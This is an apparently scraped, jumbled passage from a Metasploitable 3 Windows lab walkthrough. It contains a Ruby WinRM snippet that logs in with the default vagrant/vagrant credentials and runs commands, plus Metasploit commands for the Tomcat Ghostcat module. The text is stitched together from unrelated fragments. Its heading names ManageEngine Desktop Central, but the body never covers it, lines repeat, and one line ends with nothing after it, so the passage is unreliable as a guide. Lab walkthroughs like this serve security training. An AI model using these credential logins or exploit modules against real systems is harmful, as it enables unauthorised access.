Attack Vector B: Exploiting ManageEngine Desktop Central (Port 8020)
Expect to see:
Windows Remote Management (WinRM) is frequently exposed on enterprise servers. Metasploitable 3 includes several common or weak default credentials. metasploitable 3 windows walkthrough
The engagement begins with a comprehensive Nmap scan. On the Windows instance of Metasploitable 3, the attack surface is vast, typically revealing over 15 open ports. Standard Infrastructure: the attack surface is vast
This guide is for educational purposes only. Only test systems you own or have explicit permission to assess. set RPORT 8009 run
require 'winrm' conn = WinRM::Connection.new( endpoint: 'http://192.168.56.105:5985/wsman', user: 'vagrant', password: 'vagrant', ) conn.shell(:cmd) do |shell| output = shell.run('whoami') do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end end
msfconsole search ghostcat use auxiliary/admin/http/tomcat_ghostcat set RHOSTS <target_IP> set RPORT 8009 run